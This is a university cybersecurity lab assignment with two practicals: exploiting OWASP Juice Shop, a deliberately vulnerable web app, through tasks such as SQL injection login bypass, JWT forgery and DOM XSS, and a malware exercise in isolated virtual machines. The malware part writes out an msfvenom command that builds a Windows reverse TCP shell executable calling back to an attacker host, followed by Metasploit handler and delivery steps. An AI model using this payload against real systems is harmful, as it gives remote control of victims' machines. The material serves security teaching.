

Cybersecurity Lab Assignment

Web Application Attacks & Malware Analysis

Part 1: Web Security Practical with OWASP Juice Shop

Objective

To understand and demonstrate common web application vulnerabilities listed in the OWASP Top 10 by exploiting a deliberately vulnerable application. This lab will develop skills in vulnerability identification, exploitation, and understanding the underlying security flaws.

Tool

OWASP Juice Shop: A modern, open-source web application written in Node.js that is intentionally insecure.

- **Download/Setup:** The easiest way is using Docker: `docker run -d -p 3000:3000 bkimminich/juice-shop`
- **Access:** `http://localhost:3000`

Student Tasks (Choose 5 of the following to perform and document)

1. **Broken Access Control:** Perform a **Vertical Privilege Escalation**. Log in as a low-privilege user (e.g., `jim@juice-sh.op`) and find a way to access an administrator-only function.
2. **Cryptographic Failures:** Find a **weak JSON Web Token (JWT)** secret. Use it to forge an administrator token.
3. **Injection:** Perform a **SQL Injection** to log in without a valid password. (Hint: The login form is vulnerable).
4. **Insecure Design:** Bypass the **Password Strength Check**. Register a user with a very weak password that should have been rejected by the front-end and back-end.
5. **Security Misconfiguration:** Find and access a **hidden/forgotten page** that was not intended for public access.

6. **Vulnerable and Outdated Components:** Identify the **version of a vulnerable library** used by Juice Shop and state the associated CVE.
7. **Identification and Authentication Failures:** Exploit the **OAuth 2.0 Bypass** to log in with a user that doesn't exist.
8. **Software and Data Integrity Failures:** Perform a **DOM XSS** attack by manipulating a URL parameter to execute a script in your own browser. (Use the `alert()` or `print()` function as proof).

Part 2: Malware Attack & Analysis Practical

Objective

To understand the behavior and components of malware in a safe, controlled environment. Students will create a basic "proof-of-concept" malware, deploy it on a virtual machine, and use analysis tools to dissect its activities.

Tools

- **VirtualBox/VMware:** For creating an isolated lab environment.
- **Windows 10/11 VM (Target):** The victim machine.
- **Kali Linux VM (Attacker):** The machine from which to launch and analyze the attack.
- **msfvenom (in Kali):** To generate payloads.
- **Metasploit Framework (in Kali):** To handle connections from the payload.
- **Wireshark (on both VMs):** For network traffic analysis.
- **Process Hacker/Process Monitor (on Windows VM):** For behavioral analysis.

Student Tasks

Phase 1: Malware Creation & Deployment

1. **Payload Generation:** Use `msfvenom` in Kali Linux to generate a Windows reverse TCP shell payload (e.g., an EXE file).
 - **Command Example:** `msfvenom -p windows/x64/shell_reverse_tcp LHOST=<Kali_IP> LPORT=4444 -f exe -o malicious_payload.exe`
2. **Listener Setup:** Set up a Metasploit handler (`multi/handler`) on Kali to listen for the incoming connection from the payload.
3. **Delivery & Execution:** Transfer the `malicious_payload.exe` to the Windows VM (e.g., using a shared folder or a simple HTTP server) and execute it.

Phase 2: Malware Analysis & Detection

4. **Network Traffic Analysis:**

- On the Windows VM, start a **Wireshark** capture.
 - Execute the payload.
 - Stop the capture and identify the network traffic generated by the malware. What is the destination IP and port? What protocol is used?
5. **Behavioral Analysis:**
- On the Windows VM, open **Process Hacker** *before* running the payload.
 - Execute the payload. Observe the new process, its PID, parent process, and any child processes it spawns.
6. **Persistence Check:** Using the command shell obtained on Kali, check if the malware attempted to create a persistence mechanism (e.g., a registry run key). You can instruct the student to run a specific Metasploit post-exploitation module or a simple reg query command.

Lab Report Template

You must submit a report using the following structure.

Cover Page

- Student Name, ID, Course, Date.

Part 1: Juice Shop

Introduction: Briefly describe the purpose of this lab.

Methodology & Results: For each of the 5 chosen tasks:

1. **Vulnerability Name:** (e.g., SQL Injection)
2. **Objective:** What were you trying to achieve?
3. **Step-by-Step Exploitation:** Detailed, repeatable steps with screenshots.
4. **Proof of Success:** A clear screenshot showing you achieved the objective (e.g., logged-in admin panel, popped alert box).
5. **Underlying Cause & Mitigation:** In your own words, explain why the vulnerability exists and one way a developer could fix it.

Part 2: Malware Analysis

Introduction: Briefly describe the purpose of this lab.

Methodology & Results:

1. **Payload Creation:** Show the exact `msfvenom` command used.
2. **Setup:** Screenshot of your Metasploit handler listening.
3. **Exploitation:**
 - Screenshot of the successful reverse shell connection on Kali.
 - Screenshot of the `malicious_payload.exe` running in Process Hacker on the Windows VM.
4. **Network Analysis:**
 - Screenshot of the Wireshark capture showing the TCP stream to your Kali IP on port 4444.
 - **Question:** What kind of traffic is this? Is it encrypted?
5. **Persistence Check:**
 - Describe the command you ran to check for persistence and its output.
 - Did your simple payload create a persistence mechanism?

Conclusion & Reflection:

- Summarize the key takeaways from both parts of the lab.
- How do these practical attacks relate to real-world threats?
- What is the most important lesson you learned about defense from seeing how the attack works?

Submission Instructions

- Submit a single PDF document containing your complete report.
- Name the file as: [StudentID]_[LastName]_Cybersecurity.pdf
- Submission date: **September, 2026**